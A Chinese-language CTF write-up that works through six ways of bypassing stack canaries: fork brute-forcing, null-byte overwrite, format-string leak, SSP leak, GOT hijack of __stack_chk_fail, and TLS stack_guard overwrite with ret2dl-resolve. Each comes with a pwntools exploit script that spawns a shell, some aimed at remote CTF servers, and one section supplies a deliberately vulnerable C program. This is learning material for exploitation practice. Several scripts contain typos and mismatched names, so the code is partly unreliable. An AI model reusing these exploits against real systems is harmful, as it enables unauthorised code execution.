Canary解决姿势

被折磨的有点难受 找个时间来斩杀(bushi)又是被虐的一天~


有问题请指正~
获取例题请在评论区留言或私信我

一、canary爆破

标志提示就算fork函数吧 多线程开攻

【funcannary】*

(1)先运行一下 peda配套checksec
image-20230530002528552
根据题目提示’have fun’和’welcome’在爆破的exp中会用作于覆盖节点

​ ​image-20230530002620435

​ 发现Canary和PIE都开 准备好爆破(如果有可以利用的字符串canary也可以绕过)
​ 对应随机化 后续在IDA中只能利用其地址计算偏移

(2)进IDA

image-20230530002919532

fork接口 == canary爆破(多线程)

image-20230530154247901

发现函数入口为0x122D 并且发现”/bin/cat flag” 接下来找溢出位置爆破cannary

image-20230530154947024

明显溢出 定位该函数sub_128A(爆破canary的位置)爆破成功后爆返回地址 (爆canary地址的下一位)

image-20230530155540402

函数入口为0x122D shell返回地址为1329 偏移为0xfc(0x1329-0x122D) 覆盖的buf大小为0x68

tips
【1】canary大小为0x00-0xff 所以爆破时每字节需循环257次 又因为canary低三位定为\x00(32位爆破循环3次 64位循环7次)此处需循环7次
【2】程序入口点一般都是整数,即地址最低位为00,也就是这里的地址,0x29是可信的。就只要爆破后一位就OK,再后面的地址都相同,爆不爆都一样。

exp:

from pwn import *   
context.arch = 'amd64'
context.os = 'linux'
context.log_level = 'debug'

p = process("./fun")
#p = remote("39.106.65.236", "30687")
p.recvuntil(b'welcome\n') 
canary = b'\x00'
#canary
for k in range(7):
  info(f'No:{K+1}start,finding...')
  for i in range(256):
     p.send(b'a'*(0x70-8)+cannary+btyes([i]))
     recv = p.recvuntil(b'welcome\n')
     if b"have fun" in recv:
      cannary += bytes([i])
      success(f"canary => {canary.hex()}")
      break
      
#return address
re_1 = 0x29
re_2 = 0
info('finding:re_2 ...')
for re_i in range(0x100):
  payload = b'a' * 0x68 + canary + b'A' * 8 + p8(re_1) + p8(re_i)
#p8()将给定的整数转换为单字节的字节串
  p.send(payload)
  recv = p.recvuntil(b"welcome\n")
  if b"have fun" in recv:
       re_2 = re_i
       success(f"re_2 => {hex(re_2)}")
       break
payload = b'a' * (0x70-8) + canary + b'A' * 8 + p8(re_1 - 1) + p8(re_2 - 1)#-1对齐栈
p.send(payload)
p.interactive()

二、覆盖截断字符(\x00)获取canary

思路:
$构造第一次溢出,覆盖canary的低字节\x00,读出canary的值.
$构造第二次溢出,利用获取的canary构造payload,get shell.
【babypie】
(1)checksec
image-20230628164526442

(2)IDA
image-20230628170950596

两次read溢出

image-20230628171033720

NX打开有可利用的system(”/bin/sh”)
PIE打开后低地址始终不变,可以碰运气(buhsi(●’◡’●))
image-20230628172653111

canary以\x00结尾(为防止被读出)那我们就溢出覆盖\x00再通过print函数打印出canary
image-20230628173716094

0x30-0x8 = 40,再+1覆盖\x00
exp:

from pwn import*
#sh = process('./babypie')
sh = remote('node4.buuoj.cn',29536)
payload = b'a' * 0x29

#先整canary
sh.sendafter(b'Input your Name:\n',payload)
sh.recv(6 + 40)#读取6个字节(即程序的回应消息)和40个字节(即程序返回的canary值)
canary = u64(sh.recv(8)) & (0xffffffffffffff00)#末尾清0以保持与程序内部的字节对齐
log.success('canary:%x \n',canary)
payload = b'a' * 40 + p64(canary)  + p64(0)+ b'\x42'
#p64(0)将栈上的返回地址替换为0,从而绕过内存保护机制
sh.send(payload)
sh.interactive()

三、利用格式化字符串获取canary

格式化字符串可以打印出栈中内容,目标利用此漏洞打印出canary值,再利用溢出进行攻击.
【Mary_Morton】
(1)checksec
image-20230628202654542

(2)IDA
image-20230628204047171

快乐
image-20230628204121367

计算偏移喽
image-20230628204702697

image-20230628204720325

buf与canary距离 0x90 - 0x8 = 0x88(136) 2^8+1 = 17个内存单元
image-20230628210551449

canary与printf格式化字符串形参相对偏移为17+6 = 23
image-20230628210759817

exp:

from pwn import*
context(os='linux', arch='amd64', log_level='debug')
 
#p=process('./mary')
p=remote("61.147.171.105",63174)
 
p.sendlineafter("battle \n","2")
p.sendline("%23$p")
tmp=int(p.recv(),16)
canary=p64(tmp)
 
payload=b"a"*(0x88)+canary+p64(0)+p64(0x4008DA)
 
p.sendlineafter("3.","1")
 
p.sendline(payload)
p.interactive()

四、SSP Leak利用canary

思路:
$canary检测失败会触发stack_chk_fali函数造成stack smashing(stack smashing protect leak)
$stack_chk_fail函数会输出一段报错显示文件名,覆盖文件名指针,从而实现任意读也就是覆盖变量__libc_argv[0]
$利用相应函数进行溢出(puts、read、write)得到libcbase 得出关键地址进行攻击

void __attribute__ ((noreturn)) __stack_chk_fail (void)
{
  __fortify_fail ("stack smashing detected");
}

void __attribute__ ((noreturn)) internal_function __fortify_fail (const char *msg)
{
  /* The loop is added only to keep gcc happy.  */
  while (1)
    __libc_message (2, "*** %s ***: %s terminatedn",
                    msg, __libc_argv[0] ?: "<unknown>");
}

覆盖到argv就可输出我们想要的参数(即利用了canary的报错信息)

不同的libc对于__fortify_fail实现有差异,下面是glibc的实现
github源码:glibc/debug/fortify_fail.c
【2018网鼎杯 Guess】
(1)checsksec
image-20230628135719174

(2)IDA分析
image-20230628142542077

(3)利用stack samshing原理 gdb调试找到argv[0]计算偏移
通过覆盖libc_argv[0]的内容触发canary保护将覆盖内容进行输出
image-20230628143124351

在main函数位置下断点 rsi处为argv[0]地址(0x7fffffffdfc87)
libc中有一个变量environ,储存着栈地址 只要得到libc基址,就可以算出这个变量的地址,再次用__stack_chk_fail读取这个变量就可以得到栈的一个地址,就能计算出读进来的flag的地址,从而再次用stack smash读取flag

第一次,我们泄露函数的got表内容,得到glibc地址。得到glibc地址,是为了计算出stack_end变量的地址,进而,第二次,我们泄露栈地址,计算出flag存放的地址,于是,第三次,我们就可以泄露flag的值。

gets函数下断点 调试计算偏移0xfc8-0xea0(0x128)【还需进一步深入理解】

image-20230628161126662

exp:

from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
elf = ELF('./GUESS')
# libc = ELF('./libc-2.23.so')
io = remote('node4.buuoj.cn',27922)
# io = process('./GUESS')

puts_got = elf.got['puts']

def leak_addr(content):
    io.recvline()
    io.sendline(content)
    io.recvuntil('*** stack smashing detected ***: ')
    addr = u64(io.recv(6).ljust(8,b'\x00'))
    return addr

# step1: leak puts_addr
payload1 = b'a'*0x128+p64(puts_got)
puts_plt = leak_addr(payload1)
print("puts_plt----->" + hex(puts_plt))
libc = LibcSearcher("puts",puts_plt)
libc_base = puts_plt - libc.dump("puts")
print("libc_base----->" + hex(libc_base))
environ = libc.dump('__environ') + libc_base

# step2: leak environ
payload2 = b'a'*0x128 + p64(environ)
environ_addr = leak_addr(payload2)
print("enviorn in stack----->" + hex(environ_addr))

# step3: leak flag
payload3 = b'a'*0x128 + p64(environ_addr-0x168)
io.sendlineafter('Please type your guessing flag\n',payload3)
print(io.recvline())

五、劫持stack_chk_fail函数泄露canary

思路:劫持stack_chk_fail,可以修改全局偏移表(GOT)中存储的_stack_chk_fail函数地址,在触发canary检查失败时,跳转到指定的地址继续执行.

百度杯flagen其实可以做更好的栗子 目前暂未获取到相关文件 以后有机会填坑😊

有相关文章[(12条消息) [pwn]ROP:三道题讲解花式绕过Canary栈保护_breezeO_o的博客-CSDN博客](https://blog.csdn.net/Breeze_CAT/article/details/100086513?ops_request_misc=%7B%22request%5Fid%22%3A%22168796009416800197015252%22%2C%22scm%22%3A%2220140713.130102334.pc%5Fall.%22%7D&request_id=168796009416800197015252&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~first_rank_ecpm_v1~rank_v31_ecpm-4-100086513-null-null.142^v88^control_2,239^v2^insert_chatgpt&utm_term=百度杯 flagen&spm=1018.2226.3001.4187)

自己整个小简单🤖
漏洞代码

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
void shell(void)
{
    system("/bin/sh");
}
int main(int argc, char *argv[])
{
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);

    char buf[175];
    read(0, buf, 275);#栈溢出
    printf(buf);
    return 0;
}

要想成功劫持函数修改got表 需关闭relro
调用shell函数需要关闭pie

gcc a.c -m32 -fstack-protector -no-pie -z noexecstack -z norelro -o a

exp:

from pwn import *
import time
context(os='linux', arch='i386', log_level='debug')
sh=process('a')
offset=10
scf_got=ELF('a').got['__stack_chk_fail']
gs_addr=ELF('a').sym['getshell']
exp=fmtstr_payload(offset, {scf_got: gs_addr})
sh.send(exp+'A'*100)
sh.interactive()

乐乐乐
找到文件了img
【flagen】
got表覆写原理image-20230628224746293
(1)checksec
image-20230628215919448

(2)IDA
image-20230628220716478

image-20230628220912579

此部分会将输入部分变长(1个字节变成3个字节),其中dest为指向堆缓冲区的指针,在调用leetify()时,其值将被压入栈中,由于该函数存在栈溢出漏洞,攻击者可以利用这个漏洞覆盖掉dest的值为指定地址,在后续调用strcpy()时,实现向任意地址写的目的。
我们可以将dest覆盖为stack_chk_fail函数在got表中的地址,达到修改stack_chk_fail函数调用地址的目的,这样后续在调用该函数时,实际上执行的是攻击者的代码。又因为canary存在\x00截断,需寻找合适的函数进行输入.

还是通过泄露libcbase getshell

libc=LibcSearcher('alarm',alarm)
system=alarm-libc.dump('alarm')+libc.dump('system')
malloc_hook=alarm-libc.dump('alarm')+libc.dump('__malloc_hook')
print('malloc_hook',hex(malloc_hook))
p.sendline('/bin/sh\x00')
p.sendline(p32(system))

exp:

from pwn import *
from LibcSearcher import *
context.log_level='debug'
#context.terminal=['gnome-terminal','-x','sh','-c']
elf=ELF('./flagen')
def input(p,input):
    p.sendlineafter(': ','1')
    p.sendline(input)
def up(p):
    p.sendlineafter(': ','2')
def low(p):
    p.sendlineafter(': ','3')
def change(p):
    p.sendlineafter(': ','4')
def addprefix(p):
    p.sendlineafter(': ','5')
def prin(p):
    p.sendlineafter(': ','6')
def exit(p):
    p.sendlineafter(': ','7')
puts=0x08048510
ret=0x0804846a
stack_check=0x0804B01C
pop_1=0x08048481
pop_2=0x08048b00
pop_3=0x08048d8d
bss=0x804b144+0x8
a=0x08048F60
read=0x080486CB
p=process('./flagen')
payload=p32(ret)+b'h'*0x55+'a'*8+b'a'*5+p32(pop_1)+p32(stack_check)
payload+=p32(puts)+p32(pop_1)+p32(elf.got['free'])
payload+=p32(read)+p32(pop_3)+p32(bss+0x100)+p32(0x6fffffff)+p32(0xffffffff)
payload+=p32(read)+p32(pop_3)+p32(elf.got['free'])+p32(0x6fffffff)+p32(0xffffffff)
payload+=p32(elf.plt['free'])+p32(pop_1)+p32(bss+0x100)
input(p,payload)
change(p)
alarm=u32(p.recv()[4:8].ljust(4,'\x00'))
libc=LibcSearcher('alarm',alarm)
system=alarm-libc.dump('alarm')+libc.dump('system')
malloc_hook=alarm-libc.dump('alarm')+libc.dump('__malloc_hook')
print('malloc_hook',hex(malloc_hook))
p.sendline('/bin/sh\x00')
p.sendline(p32(system))
p.interactive()
p.close()

六、修改TSL绕过canary

在linux下有一种线程局部存储(Tread Local Storage)机制,即TLS.
存储线程的一些全局变量.
结构:

typedef struct  
{  
  void *tcb;        /* Pointer to the TCB.  Not necessarily the  
               thread descriptor used by libpthread.  */  
  dtv_t *dtv;  
  void *self;       /* Pointer to the thread descriptor.  */  
  int multiple_threads;  
  int gscope_flag;  
  uintptr_t sysinfo;  
  uintptr_t stack_guard;  
  uintptr_t pointer_guard;  
  ...  
} tcbhead_t;  

注意:结构中uintptr_t stack_guard就是canary值,利用漏洞篡改stack_guard值即可绕过canary,而gs或fs寄存器指向此结构.

【bfnote】

(1)checksec
image-20230628102341433

(2)进IDAimage-20230628105142174

漏洞:【1】s溢出0x600
【2】v4进行初始化,检测限制了输入长度,而利用时并非利用了检测完成的值,利用了检测前的值,使得我们拥有一次在任意地址写入长度的能力
image-20230628110303853

gs寄存器指向的位置实际上就是内存中某处的tcbhead_t,而后面的0x14指的是stack_guard相对的偏移,那么tcbhead_t到底存储在哪,每个libc不同,但是对于pwn题经常使用的lib来说,其分布基本如图所示
image-20230628111024934

在libc地址更下位置和mmap一样同属共享映射区域,偏移相对固定.当我们malloc一个相当大的空间(此题>=0x20000),mallod就会用mmap来分配内存空间,其分配位置也会位于共享映射区域,依据mmap机制,其恰好处于tcbhead_r地址的低地址处,此时利用第二个漏洞写入可修改canary的值,从而实现绕过.(12条消息) Linux系统mmap内存映射机制原理_seqiqi_菠萝-琪琪的博客-CSDN博客

(3)ret2dl-resolve机制利用(延迟绑定应用)
利用的两种结构Sym(x86为Elf32_Sym x64为Elf64_Sym)Rel(x86为Elf32_Rel x64为Elf64_Rel)

Sym基本结构

typedef struct
{
  Elf32_Word    st_name; //符号名,是相对.dynstr起始的偏移(4字节)
  Elf32_Addr    st_value;  //(4字节)
  Elf32_Word    st_size;  //(4字节)
  unsigned char st_info; //对于导入函数符号而言,它是0x12(1字节)
  unsigned char st_other;  //(1字节)
  Elf32_Section st_shndx;  // (2字节)
}Elf32_Sym; //对于导入函数符号而言,其他字段都是0
struct Elf64_Sym
{
  Elf64_Word    st_name;   //符号名,是相对.dynstr起始的偏移(4字节)
  unsigned char st_info;   //对于导入函数符号而言,它是0x12(1字节)
  unsigned char st_other;  //(1字节)
  Elf64_Section st_shndx;  //(2字节)
  Elf64_Addr    st_value;  //(8字节)
  Elf64_Xword   st_size;   //(8字节)
};//对于导入函数而言,其他字段都是0

Rel基本结构


typedef struct {
    Elf32_Addr        r_offset;//是got的对应的地址(4字节)
    Elf32_Word       r_info; //(4字节),其中最低字节应该为0x7,前三个字节当做一个数字,是相对.dynsym起始的偏移的下标(即偏移还需要除以0x10)
} Elf32_Rel;
typedef struct {
    Elf64_Xword    r_offset;   //是got的对应的地址(8字节)
    Elf64_Xword    r_info;     //(8字节),其中最低字节应该为0x7,前三个字节当做一个
  
 Elf64_Sxword r_addend;   //(8字节)
 
} Elf64_Rel;

一般x64选择gadget进行攻击 此题也为32位 故以下详细介绍32位使用ret2dl-resolve攻击方法
image-20230628115713705

32位延迟绑定具体流程
*第一个push的值实际上是对应的Rel和.dynrel的相对偏移
*jmp跳转到第一个第一个push偏移对应的Rel结构,取出里面的info中包含的sym结构的下标,找到对应的sym中的字符串的地址,从而解析到这个名称为该字符串的函数,将其地址写入rel第一项的地址中。此时,将栈清空到一开始push的两个值之前,从而正常执行对应的字符串的函数即可。

我们的ret2dl-resolve实际上设置为.got.plt0对应的地址即可,从而他解析完成后会继续按照给定的参数执行。
tip
中间的空白,作为gap,是因为执行的时候最后有栈地址的变化,若无gap作为阻隔,可能栈的变化会覆盖掉一些重要的数据,从而导致程序崩溃,所以需要留有一定的gap作为栈空间变化的gap

(4)漏洞利用
观察主函数发现一共进行了三次输入:
【1】修改canary、最终的返回地址及栈地址(可看汇编)
【2】伪造了一个shellcode
【3】使用TSL,绕过canary

image-20230628134309027

exp:

from pwn import *

r = remote("node4.buuoj.cn", 25009)
#r = process("./bfnote")


elf = ELF("./bfnote")
#libc = ELF('./lib/i386-linux-gnu/libc.so.6')
bss_start = 0x0804A060
gap = 0x500
stack_overflow = b'a' * (0x3e - 0xc + 0x8) + p64(bss_start + gap + 0x4)
 
r.recvuntil('Give your description : ')
r.send(stack_overflow)

r.recvuntil('Give your postscript : ')

fake_sym = p32(bss_start + gap + 0x4 * 4 + 0x8 - 0x80482C8) + p32(0) + p32(0) + p32(0x12)
fake_rel = p32(bss_start) + p32(0x7 + int((bss_start + gap + 0x4 * 4 + 0x8 + 0x8 + 0x8 - 0x080481D8) / 0x10) * 0x100)
r.send(b'\x00' * gap + p32(0x08048450) + p32(bss_start + gap + 0x4 * 4 + 0x8 * 2 - 0x080483D0) + p32(0) + p32(bss_start + gap + 0x4 * 4) + b'/bin/sh\x00' + b'system\x00\x00' + fake_rel + fake_sym)

r.recvuntil('Give your notebook size : ')
r.send(str(0x20000))


r.recvuntil('Give your title size : ')
r.send(str(0xf7d22714 - 0xf7d01008 - 16))

r.recvuntil('invalid ! please re-enter :\n')
r.send(str(4))

r.recvuntil('Give your title : ')
r.send(b'a')

r.recvuntil('Give your note : ')
r.send(b'aaaa')

r.interactive()

难难难 啃啃啃
明天又是新的一天⭐